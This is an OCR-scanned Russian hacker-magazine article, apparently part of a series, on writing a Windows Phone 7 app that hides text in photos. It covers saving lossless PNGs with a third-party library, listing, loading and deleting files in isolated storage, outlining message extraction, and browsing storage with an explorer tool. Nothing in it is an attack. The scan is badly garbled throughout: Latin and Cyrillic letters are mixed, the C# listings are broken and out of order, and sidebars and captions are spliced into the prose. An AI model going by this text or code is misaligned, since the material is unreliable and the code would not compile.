стандартными средствами оперешение: рационной системы windows Рhопе, то есть в момент получения потока данных фотографии выз8ать метод SavePictuгe [или sачерiсtuгетосаmеrаRоll для сохранения фото в галерею камеры) объекта класса МеdiаLiьгагу. Этому методу передаются два параметра: имя файла для сохранения и собственно поток изображения, В результате в альбом сохраненных фотографий и/или в галерею камеры будет помещена итоговая фотография... Правда, сохранена она будет в формате JPG. А из этого следует, что все скрыть]е нами текстовые данные будут утеряны из-за компрессии| Пиксели изменены -данные утеряны. В этом случае не спасет даже выставленнOе качество сохраняемого изображения в 100%, 0птимальный формат для сохранения изображения с модиэто старый добрый ВМР. Чтобы фицированными пикселями сохранить сырой поток данных в этом формате, достаточно прикрутить к пOтOку загOлOвOк, после чего Nlожно просто напрямую сбросить получившийся (самородок, в флеш-память. Заманчиво, кажется прOст0, н0 все равно не вариант- ВМР не поддерживается стандартными средствами системы Wfl а итоговый файл имеет чудOвищные размеры из-за отсутствия сжатия. На помощь приходит формат PNG. Сохраненные в нем изображения имеют существенно меньший размер, чем в Вмр, но все же терпимо больше, чем в JPG, Это происходит потому, что PNG испOльзует алгоритм сжатия без потерь Deflate. Плюс к этому PNG пOддерживает канал прозрачности. К сожалению, формат PNG тOже не пOддерживается стандартными средствами winphone. чтобы решить сложившуюся проблему, я сначала попытался вOспOльзOваться расхваленной на codeplex библиотекой lma9eTools, По описанию, она включает впечатляющий набор кодеров/декодеров для сохранения/загрузки файлов в различные графические форматы. Как и wгiteableBitmapEx, рассматриваемая либа предназначена в первую очередь для Siiveгlight и уже во вторую winphone. Но если первая либа достаточно хорошо -для подогнана для WP, то о второй этого сказать нельзя. Перед тем как сOхранить с пOмощью кодеров изображение, его надо с0хранить в расширенный контейнер для картинок объект класса Extendedlmage, который содержится в lmageTools. И вот тут нас поджидает трабла. После загрузки изображения в этот объект 0н все равн0 0стается неинициализированным. Написав об этом разработчику, ничего интересного в ответ я не получил. Пришлось прOдOлжиIь исследования. Найдя несколько решений, наиболее подходящим я счел ToolStack С# PNG Wгitег LiЬгагу, расположенный по адресу ,Щанное решение состоит из трех файлов: ToolStackCRCLib.cs, ToolStackPNGWгiteгLib.cs и ТооlStасkРNGWгjtегWВехt.сs. Их можно взять из демOнстрациOннOго приложения, скачанного с сайта. Первый по списку файл содержит класс СRСЗ2, который предоставляет N4етOды для вычисления контрольной суммы на основе результирующего РNG-файла. Второй содержащийся в этом файле класс

-

-

р li.

:]

a

пиксЕлямИ эт0 BJI{P. УВы, WPz Ег0 нЕ поддЕрживАЕт Аd]егЗ2 включает методы для вычисления контрольной суммы запакованного компрессором zliь-архива. Тем не менее в текущей версии либы компрессия не поддерживается, результирующее изображение не получится запаковать, но нам в разрабатываемоц прOекте эт0 все равн0 не нужно, поскольку мы не хотим повредить СКРЫТЫе

flЭННоlO.

ё

'

l

ВтороЙ по списку файл ТооlStасkРNGWгitегLiЬ.сs содержит ;... классы для создания РNG-файла. Статичный класс PngChunkTypes' 0писывает предOпределенные заголовки для частей данных. запечатанный класс Рпgнеаdег содержит переменные, из которых формируется информация для заголовка файла: ширина, высота изображения, цветовая глубина пикселя и так далее. 0снова либы открытый класс РNGWгitег предоставляет методы для формирования и записи заголовка и изображения. третий файл списка содержит небольшое расширение для клас-. са WгitеаЬlеВitmар, которое состоит из двух методов, позволяющих применить метOды рассмотренного ранее класса РNGwгitег для сохранения изображения в файловый поток в PNG. НеоспоримOе преимуществ0 рассматриваемого решения - это возможнOсть использовать его как с экземпляром стандартного класса wгitеаьlевitmар, так И с расширенным wгitеаьlевitmарЕх [что мы уже и запланировали). чтобы прибегнуть к перечисленным классам, достаточно скопировать эти три файла в каталог нашего решения и добавить их в проект. Теперь можно свободно пользоваться дополнительным функционалом. Перейди на следующую строчку после вызова функции HideTextlnlmage обработчика события myCam_CaptuгelmageAvailable и добавь следующий код:

-

-

-

.

чаг isoStoгe = Iso}atedStoгageFile.e

GеtUsегStогеFогАррliсаtiоп ( ) ; Stгiпg fileName = "photo " + GetRealTime() +'',рпg''; Vаг pngDest = System.I0.ISolatedStoгage.э IsolatedStonageFileStneam(fileName, н FileМode. Спеаtе, isоStоге) ;

wЬ. l^JгitеРNG

(

pngDest );

pngDest.Flush(); pngDest. Close( );

wЬ = nuI]-;

mеsstгеаm = nu11; keystгeam = nuI1;

здесь используется самописная функция GetRealTime, которая

flаже если тебя не интересует тема стеганографии и ты с подозрением относишься к windows phone, я бы посоветовал все равно прочесть эту статью. Лично я не собирался кодить для wp, но из этой пары статей я узнал столько нового об этой системе и ее подводных камнях. что вре-

хАкЕр

i, '}

.J

в этом коде сначала получаем ссылку на объект хранилища данногО приложения. Следующей строчкой кода форrиируем уникальное имя для файла, в котором сохраним изображение.

0т рЕдАкции

мя на ее прочтение и редактирOвание я точно не считаю потерянным

пти },lАл ьн bl Й оо p},lAT ДЛЯ ИЗOБРАЖЕНИЯ с i,r 0дпФпци ро вАн н bl },l и 0

воспOльзOваться

:}.

берет текущие дату И время, преобразует их в строку' заменяет в этой строке все символы (:) на символ (.> И возВращает итоговую строчку. К началу этой строчки приставляется строка photo, а в кOнце расширение рпg. Затем на основе объекта хранилища и пOлученнOг0 имени создается файловый поток для создания

-

файла, После этогО файл записыВается С помощью функциЙ добавленного расширения.,щальше поток сбрасывается, закрывается, а используемые объекты обнуляются.

€l


r{rЕцж.щJт!тrтlrrrаПl' Вd*rд+l Ь. *4,*,Pd.,,"n_*, ",

ё}-

;lF":П:ffi;:

*q.

*лф

Ж

*''*f,П

кOдинг Билд готов для теста. Теперь после создания фото и скрытия текстового сообщения оно сохраняется в изолированное хранилиВизуально ничего не изменилось, однако промежуток времени _ ще. между нажатием на аппаратную кнопку фотозахвата и появлением отладочной надписи <Фото готово> заметно возрос. И это правиль'l600 на 1200 [установлено но, товарищи, фото с разрешением по умолчанию} имеет размер приблизительно 7 метров, и времени с учетом того для его обработки и сохранения требуется больше что раньше сохранения не было вообще. К слову, опытным путем было установлено, что в данном случае в PNG можно сохранить изображение с разрешением максимум 2048 х 15Зб пикселей.

-

-

выБOр ФАЙлА

К сожалению, у нас нет готового механизма для выбора файла

-

проектировщиками из изолированного хранилища смартфона системы не было предусмотрено что-то наподобие проводника ' нjстольной Windows [а почему, почему это не было предусмотрено? Майкрософт, что ты сделал с прекрасной, самой совершенной, $ýей любимой Windows Mobile 6.х? - Прим. ред.). ];: из приложения можно, воспользовавшись "выбирателем) объектом класса PhotoChooseгTask, выбрать изобраtСhооsегl жение, н0 тOльк0 из стандартных, предназначенных для хранения фотографий папок: <Сохраненные изображенияr, *Галерея камеры". 0т этого нам, как говорится, ни холодно ни жарк0 - сOдержи-мое хранилища по-прежнему невидимо. Выявим его самостоятель. но. В файл MainPage.xaml.cs добавь следующую функцию:

-

GetFiles( ) { . 1 1istBox1.Items.CIeaг();

чаr stогеFilе = IsolatedStoгageFile.e

, GеtUsегStогеFогАррliсаtiоп(); " stгing fileStгing = System.I0.Path.GetFileName("*"1, stгing[] fites = stoгeFite.GetFileNames("*"); ( i = 0; i < stoгeFile.GetFileNames("/"

fileStгing).Length;

i

i++)

+ +

{

Stгing fileName = stoгeFile.GetFileNames(filestгing)[i]; Stгiпg ext = fileName.Substгing(fileName.Length - 3); (ext == "рпс") IistBox1.Items.Add(fileName)j

}

Приведенная функция выбирает файлы с расширением рп9 следующим образом, Сначала она очищает список, чтобы он не засорялся при перехOде между страницами, а всегда запOлнялся только существующими элементами. Следующим действием, по традиции, получаем объект изолированного хранилища. Затем определяем путь к файлам.,щалее заполняем массив строк именами всех файлов. Потом в цикле перебираем все файлы, определяя расширение каждого путем взятия подстроки, начинающейся с трех символов от точки и продолжая до ее конца. Если расширение файла совпадает со строкой символов (рп9>, в таком случае подготовленная нашей прогой фотография, тогда этот файл объект класса добавляем имя этого файла в визуальный список

-

Li st

-

Вох.

Теперь во время активации данной страницы 1со списком) необходимо выполнить вызов только что описанной функции: в конце

r *гдЕ

проводник? мАЙкрOсоот, чт0 Tbl сдЕлАл с прЕкрАснOи,

САМОЙ СОВЕРШЕННОЙ, МОВЙ

люБи}iOи

W].{

6.х?

Рис. 2. Изобрахениеуспешно

Рис. t. Создан один файл

загружено

обработчика 0nNavigatedTo добавь вызов - GetFiles{J;. Если сейчас запустить наше приложение [в том числе и на реальном смарте), то после ее загрузки в списке, находящемся внизу экрана, будет нахоимя файла диться один элемент фотографии, сделанной тобой на предыдущем тесте, включая точное время снимка 1рис. 1l.

-

-

ЗАГРУЗКА ИЗOБРАЖЕНИЯ

Следующий шаг- загрузка сохраненной картинки и извлечение из нее скрытого сообщения. Первым делом следует увеличить размер шрифта в списке, чтобы было удобно выбирать элемент прикOснOвением. ,Щля выбора изображения можно воспользоваться как минимум двумя событиями: SelectionChanged и Тар объекта класса ListBox, Первое из них происходит во время выбора пункта списка {прив момент отпускания пальца. Воспользукосновением), а второе емся последним, в его обработчик напиши такой код:

-

ListBoxItem Itemconta i

selectedltem

ne пGепе

гаtо

г

.

1istBox1.-

conta ine гF поmltеm

(

.

р

l1stBoxl.SelectedItem) as ListBoxltem; Stгing fileName = selectedltem.DataContext.ToStгing(); чаг 1sоStоге = IsolatedStoгageFile,*

GetUsenstoгeFonApplication ( ) ; Bitmaplmage(); Bitmaplmage sочгсе = (IsolatedStoгageFiIeStгeam filеStгеаm = isoStore.e OpenFite(fileName, FileМode.Open, FileAccess.Kead)) { sou гсе . Setsou гсе ( fileSt rеаm ) ; souгce.CгeateOptions = BitmapCneateOptions. None;

i

imаgеl.Sоuгсе = sочгс€.i В приведенном коде мы получаем выбранный в настоящий то есть текст. момент пункт списка. Затем получаем его контент Традиционно нам нужен объект хранилища, далее создаем невизуальный контейнер для картинки и загружаем в него данные файлового потока. Этот поток создан на основе текстового контента пункта списка, который является именем файла. Так как открытие [в отличие от сохранения) РNG-файлов входит в стандартную функциональность WinPhone, как мы убедились в этом выше, никаких дополнительных телодвижений не нужно. Последним действием покажем изображение в визуальном компоненте. Oпl Чтобы заработал класс Bitmaplmage, надо подключить соответствующее [рис. 2l. пространство имен: System,Windows.Media.lmaging;

-

.i l.

цдъ7l?р1.2 l*\;

il*


,: .

_ J

-

lsill;, (чаг isоStоге = IsolatedStorageFile.e i

\!

)

)

.r...

rоrр.6_'' З"

r"рft ,frd'

-

{

Г (isostoгe.FileExists(fileName))

роект:

тинки спрятанное при сохранении текстовое сообщение. Этим i , ---. займется функция ЕхtгасtтехtFгоmlmаgе, которую нам предстоит написать, Поскольку она достаточно велика по объему, здесь мы ; приведем только краткий ее обзор, а функцию целиком ты можешь посмотреть на нашем диске. После того как текстура загружена в объект класса Bitmaplmage {это происходит в обработчике.сфЁr-' тия Tapl, на его основе создается модифицируемая карта пиксе-. лей объект класса WгitеаЬlеВitmар, Затем создается пустой поток [объЬкт класса МеmогуStгеаm), в лоrорr,й будет за;исано извлеченное текстовое сообщение. !алее создается поток для ключа. Этот поток возвращается функцией GеtStгеаm, в качестве параметра принимающей текстовую константу, на основе которой создается поток байт. Подготовленные объекты передаются функции ЕхtгасtТехtFгоmlmаgе, при этом пустой поток сообщения передается п0 ссылке, тогда как остальные - по значению. Пропустив инициализацию переменных функции ЕхtгасtтехtFгоmlmаgе. I видим считывание длины зашифрованного сообщения из первого пикселя изображения. Затем начинается цикл. В нем происходит обход определенных с помощью ключа пикселей битмапа и их считывание. Извлечение схоже с операцией скрытия информаци'и . {см, прошлую статью), в том смысле, что вычисление расположен ия следующего пи кселя в изображен и и для эаписиlсчиты вания 0существляется по одному алгоритму. После определения позиции текущего пикселя из него выбирается имеющий скрытую инфу байт через выборку значения определенного цветового компо-

Меж тем список файлов довЬльно быстро растет, а хранилище активно заполняется. А значит надо добавить возможность удаления файлов. Повесим эту задачу на обработчик события двойного нажатия - DoubleTap. Создай обработчик и после получения объекта класса ListBoxltem и его имени [чтобы освежить воспоминания см. предыдущий листинг] напиши такую конструкцию:

GеtUsегStогеFоrАррliсаtiоп(

[- п

{

li stBox1 . Items . Remove ( 1i st Вох1 . SelectedItem 1sоStоге. DeleteF ile (fileName );

);

}

В результате выполнения этого кода из хранилища будет удален файл с именем, соответствующим пункту списка, а также сам этот пункт. Заметь: код в обработчиках сO6ытий заключен в конструкции tгу/саtсh (для экономии пространства в листингах не приведены), это сделано для обработки исключения в результате выбора пустOг0 пункта списка прикOснOвения к пустому пространству. -

вOсстАнOвлЕниЕ инФOрмАции

Теперь, когда миниатюра изображения успешно загружена и отображена в визуальном компоненте, необходимо извлечь из кар-

-

дOступ к сOдЕржимOму изOлирOвАннOг0 хрАнилищА Windows Рhопе не предоставляет средств для отображения объектов, хранимых в флешпамяти. С одной стороны это логично, с хранили ще]yt работа ют искл ючительно п риложения, для каждог0 из кOторых выделяется определенная область паtlяти. 0днако в процессе разработки порой приходится создавать большое число разнообразных объектов и появляется необходимость следить за содержимым хранилища -за созданными в нем объектами.,Щля этого в стандартный набор SDK WP 7.1 входит утилита командной строки lSETool.exe. Я не испытываю великой любви к командным строкам и считаю, что обозревать содержимое хранилища удобнее в графике. Поэтому пользуюсьутилитой Windows Phone 7 lsolated Stora9e Ехрlогеr, которую можно бесплатно скачать с сайта майкрософтовского опенсорса - CodePlex [wр7ехр!qгеr.qqdерlех_соml. После скачивания утебя появится МSl-инсталлятор. В результате инсталляции в систему будет установлена оконная утилита. С чистого листа она не поках(ет содержимое хранилиша, предварительно в приложение для смартфона нужно добавить поддержкуутилиты. flля этого в V5 перейди в окно дdd Rеfегепсеl добавления ссылки [рrоjесt и уже в нем перейди на вкладку Вгоwsе. Перейди в ту папку, куда ты установил рассматриваемую утилиту, а далее - в подпапку LiЬгагу [по умолчанию: с:\Ргоgrаm Files Ix86l\WP7 lsolated Stоrа9е Ехрlогеr\LiЬrагу\l. оттуда выбери имеющуюся Tar.r dll'Ky IlsolatedStoгa gеЕхрlогеr. dlll. Затеr,r в своем приложении открой файл Арр. xaml.cs, В нем содержатся пустые обработчики

-

-

a*

.$d

tчVР7

-El

bolatad Stora9e Ехрlоrсr

Phototld(G] 1ОJ.0

. Пi

Е

7

z, , ,*

х

itt

МоzrЁ Т86Ш

bolated Storagc Filс

' ý

Sharcd mс5ý!9с.ЬС photo 05IB2012 12.,|8J9.рпg

Рис. 3. 06зор содержи.,lого

хранилиlца

событий, возникающих в процессе жизнедеятельности приложения. flBa из них нам нужно обработать. В момент запуска приложения [соб